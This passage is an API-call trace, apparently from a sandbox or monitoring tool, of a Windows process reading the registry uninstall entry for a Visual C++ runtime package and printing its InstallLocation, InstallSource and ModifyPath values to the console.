[0149.824] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.824] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.825] _fileno (_File=0x7fefd702ab0) returned 1 [0149.825] _errno () returned 0x204bb0 [0149.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.825] _errno () returned 0x204bb0 [0149.825] GetFileType (hFile=0x50) returned 0x1 [0149.825] lstrlenW (lpString=" ") returned 4 [0149.825] GetConsoleOutputCP () returned 0x1b5 [0149.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.825] GetConsoleOutputCP () returned 0x1b5 [0149.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.825] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.825] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.825] lstrlenW (lpString="InstallLocation") returned 15 [0149.825] __iob_func () returned 0x7fefd702a80 [0149.825] _fileno (_File=0x7fefd702ab0) returned 1 [0149.825] _errno () returned 0x204bb0 [0149.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.825] _errno () returned 0x204bb0 [0149.825] GetFileType (hFile=0x50) returned 0x1 [0149.825] lstrlenW (lpString="InstallLocation") returned 15 [0149.825] GetConsoleOutputCP () returned 0x1b5 [0149.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.825] GetConsoleOutputCP () returned 0x1b5 [0149.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.826] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.826] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.826] __iob_func () returned 0x7fefd702a80 [0149.826] _fileno (_File=0x7fefd702ab0) returned 1 [0149.826] _errno () returned 0x204bb0 [0149.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.826] _errno () returned 0x204bb0 [0149.826] GetFileType (hFile=0x50) returned 0x1 [0149.826] lstrlenW (lpString=" ") returned 4 [0149.826] GetConsoleOutputCP () returned 0x1b5 [0149.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.826] GetConsoleOutputCP () returned 0x1b5 [0149.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.826] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.826] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.826] __iob_func () returned 0x7fefd702a80 [0149.826] _fileno (_File=0x7fefd702ab0) returned 1 [0149.826] _errno () returned 0x204bb0 [0149.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.826] _errno () returned 0x204bb0 [0149.826] GetFileType (hFile=0x50) returned 0x1 [0149.826] lstrlenW (lpString="REG_SZ") returned 6 [0149.826] GetConsoleOutputCP () returned 0x1b5 [0149.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.827] GetConsoleOutputCP () returned 0x1b5 [0149.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.827] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.827] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.827] __iob_func () returned 0x7fefd702a80 [0149.827] _fileno (_File=0x7fefd702ab0) returned 1 [0149.827] _errno () returned 0x204bb0 [0149.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.827] _errno () returned 0x204bb0 [0149.827] GetFileType (hFile=0x50) returned 0x1 [0149.827] lstrlenW (lpString=" ") returned 4 [0149.827] GetConsoleOutputCP () returned 0x1b5 [0149.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.827] GetConsoleOutputCP () returned 0x1b5 [0149.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.827] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.827] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.827] __iob_func () returned 0x7fefd702a80 [0149.828] _fileno (_File=0x7fefd702ab0) returned 1 [0149.828] _errno () returned 0x204bb0 [0149.828] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.828] _errno () returned 0x204bb0 [0149.828] GetFileType (hFile=0x50) returned 0x1 [0149.828] lstrlenW (lpString="") returned 0 [0149.828] __iob_func () returned 0x7fefd702a80 [0149.828] _fileno (_File=0x7fefd702ab0) returned 1 [0149.828] _errno () returned 0x204bb0 [0149.828] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.828] _errno () returned 0x204bb0 [0149.828] GetFileType (hFile=0x50) returned 0x1 [0149.828] lstrlenW (lpString="\n") returned 1 [0149.828] GetConsoleOutputCP () returned 0x1b5 [0149.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.828] GetConsoleOutputCP () returned 0x1b5 [0149.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.828] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.828] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.828] GetProcessHeap () returned 0x3c0000 [0149.828] GetProcessHeap () returned 0x3c0000 [0149.828] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.828] GetProcessHeap () returned 0x3c0000 [0149.828] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.828] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.828] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.829] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xe0) returned 0x0 [0149.829] GetProcessHeap () returned 0x3c0000 [0149.829] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe2) returned 0x3dce90 [0149.829] GetProcessHeap () returned 0x3c0000 [0149.829] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.829] GetProcessHeap () returned 0x3c0000 [0149.829] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe2 [0149.829] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce90, pcbData=0x29f780*=0xe0 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\", pcbData=0x29f780*=0xde) returned 0x0 [0149.829] __iob_func () returned 0x7fefd702a80 [0149.829] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.829] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.829] _fileno (_File=0x7fefd702ab0) returned 1 [0149.829] _errno () returned 0x204bb0 [0149.829] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.829] _errno () returned 0x204bb0 [0149.829] GetFileType (hFile=0x50) returned 0x1 [0149.829] lstrlenW (lpString=" ") returned 4 [0149.829] GetConsoleOutputCP () returned 0x1b5 [0149.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.829] GetConsoleOutputCP () returned 0x1b5 [0149.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.829] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.829] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.829] lstrlenW (lpString="InstallSource") returned 13 [0149.829] __iob_func () returned 0x7fefd702a80 [0149.830] _fileno (_File=0x7fefd702ab0) returned 1 [0149.830] _errno () returned 0x204bb0 [0149.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.830] _errno () returned 0x204bb0 [0149.830] GetFileType (hFile=0x50) returned 0x1 [0149.830] lstrlenW (lpString="InstallSource") returned 13 [0149.830] GetConsoleOutputCP () returned 0x1b5 [0149.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.830] GetConsoleOutputCP () returned 0x1b5 [0149.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0149.830] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.830] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.830] __iob_func () returned 0x7fefd702a80 [0149.830] _fileno (_File=0x7fefd702ab0) returned 1 [0149.830] _errno () returned 0x204bb0 [0149.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.830] _errno () returned 0x204bb0 [0149.830] GetFileType (hFile=0x50) returned 0x1 [0149.830] lstrlenW (lpString=" ") returned 4 [0149.830] GetConsoleOutputCP () returned 0x1b5 [0149.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.831] GetConsoleOutputCP () returned 0x1b5 [0149.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.831] __iob_func () returned 0x7fefd702a80 [0149.831] _fileno (_File=0x7fefd702ab0) returned 1 [0149.831] _errno () returned 0x204bb0 [0149.831] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.831] _errno () returned 0x204bb0 [0149.831] GetFileType (hFile=0x50) returned 0x1 [0149.831] lstrlenW (lpString="REG_SZ") returned 6 [0149.831] GetConsoleOutputCP () returned 0x1b5 [0149.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.831] GetConsoleOutputCP () returned 0x1b5 [0149.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.831] __iob_func () returned 0x7fefd702a80 [0149.831] _fileno (_File=0x7fefd702ab0) returned 1 [0149.831] _errno () returned 0x204bb0 [0149.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.832] _errno () returned 0x204bb0 [0149.832] GetFileType (hFile=0x50) returned 0x1 [0149.832] lstrlenW (lpString=" ") returned 4 [0149.832] GetConsoleOutputCP () returned 0x1b5 [0149.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.832] GetConsoleOutputCP () returned 0x1b5 [0149.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.832] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.832] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.832] __iob_func () returned 0x7fefd702a80 [0149.832] _fileno (_File=0x7fefd702ab0) returned 1 [0149.832] _errno () returned 0x204bb0 [0149.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.832] _errno () returned 0x204bb0 [0149.832] GetFileType (hFile=0x50) returned 0x1 [0149.832] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned 110 [0149.832] GetConsoleOutputCP () returned 0x1b5 [0149.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0149.832] GetConsoleOutputCP () returned 0x1b5 [0149.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\", cchWideChar=110, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\", lpUsedDefaultChar=0x0) returned 110 [0149.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0149.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.833] __iob_func () returned 0x7fefd702a80 [0149.833] _fileno (_File=0x7fefd702ab0) returned 1 [0149.833] _errno () returned 0x204bb0 [0149.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.833] _errno () returned 0x204bb0 [0149.833] GetFileType (hFile=0x50) returned 0x1 [0149.833] lstrlenW (lpString="\n") returned 1 [0149.833] GetConsoleOutputCP () returned 0x1b5 [0149.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.833] GetConsoleOutputCP () returned 0x1b5 [0149.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.833] GetProcessHeap () returned 0x3c0000 [0149.833] GetProcessHeap () returned 0x3c0000 [0149.833] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.833] GetProcessHeap () returned 0x3c0000 [0149.833] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe2 [0149.833] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0149.833] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.833] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.834] GetProcessHeap () returned 0x3c0000 [0149.834] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.834] GetProcessHeap () returned 0x3c0000 [0149.834] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.834] GetProcessHeap () returned 0x3c0000 [0149.834] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.834] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.834] __iob_func () returned 0x7fefd702a80 [0149.834] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.834] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.834] _fileno (_File=0x7fefd702ab0) returned 1 [0149.834] _errno () returned 0x204bb0 [0149.834] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.834] _errno () returned 0x204bb0 [0149.834] GetFileType (hFile=0x50) returned 0x1 [0149.834] lstrlenW (lpString=" ") returned 4 [0149.834] GetConsoleOutputCP () returned 0x1b5 [0149.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.834] GetConsoleOutputCP () returned 0x1b5 [0149.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.834] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.834] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.834] lstrlenW (lpString="ModifyPath") returned 10 [0149.834] __iob_func () returned 0x7fefd702a80 [0149.834] _fileno (_File=0x7fefd702ab0) returned 1 [0149.834] _errno () returned 0x204bb0 [0149.834] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.834] _errno () returned 0x204bb0 [0149.835] GetFileType (hFile=0x50) returned 0x1 [0149.835] lstrlenW (lpString="ModifyPath") returned 10 [0149.835] GetConsoleOutputCP () returned 0x1b5 [0149.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.835] GetConsoleOutputCP () returned 0x1b5 [0149.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0149.835] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.835] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.835] __iob_func () returned 0x7fefd702a80 [0149.835] _fileno (_File=0x7fefd702ab0) returned 1 [0149.835] _errno () returned 0x204bb0 [0149.835] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.835] _errno () returned 0x204bb0 [0149.835] GetFileType (hFile=0x50) returned 0x1 [0149.835] lstrlenW (lpString=" ") returned 4 [0149.835] GetConsoleOutputCP () returned 0x1b5 [0149.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.835] GetConsoleOutputCP () returned 0x1b5 [0149.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.835] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.835] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.836] __iob_func () returned 0x7fefd702a80 [0149.836] _fileno (_File=0x7fefd702ab0) returned 1 [0149.836] _errno () returned 0x204bb0 [0149.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.836] _errno () returned 0x204bb0 [0149.836] GetFileType (hFile=0x50) returned 0x1 [0149.836] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.836] GetConsoleOutputCP () returned 0x1b5 [0149.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.836] GetConsoleOutputCP () returned 0x1b5 [0149.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.836] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.836] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.836] __iob_func () returned 0x7fefd702a80 [0149.836] _fileno (_File=0x7fefd702ab0) returned 1 [0149.836] _errno () returned 0x204bb0 [0149.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.836] _errno () returned 0x204bb0 [0149.836] GetFileType (hFile=0x50) returned 0x1 [0149.836] lstrlenW (lpString=" ") returned 4 [0149.836] GetConsoleOutputCP () returned 0x1b5 [0149.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.836] GetConsoleOutputCP () returned 0x1b5 [0149.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.837] __iob_func () returned 0x7fefd702a80 [0149.837] _fileno (_File=0x7fefd702ab0) returned 1 [0149.837] _errno () returned 0x204bb0 [0149.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.837] _errno () returned 0x204bb0 [0149.837] GetFileType (hFile=0x50) returned 0x1 [0149.837] lstrlenW (lpString="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}") returned 52 [0149.837] GetConsoleOutputCP () returned 0x1b5 [0149.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 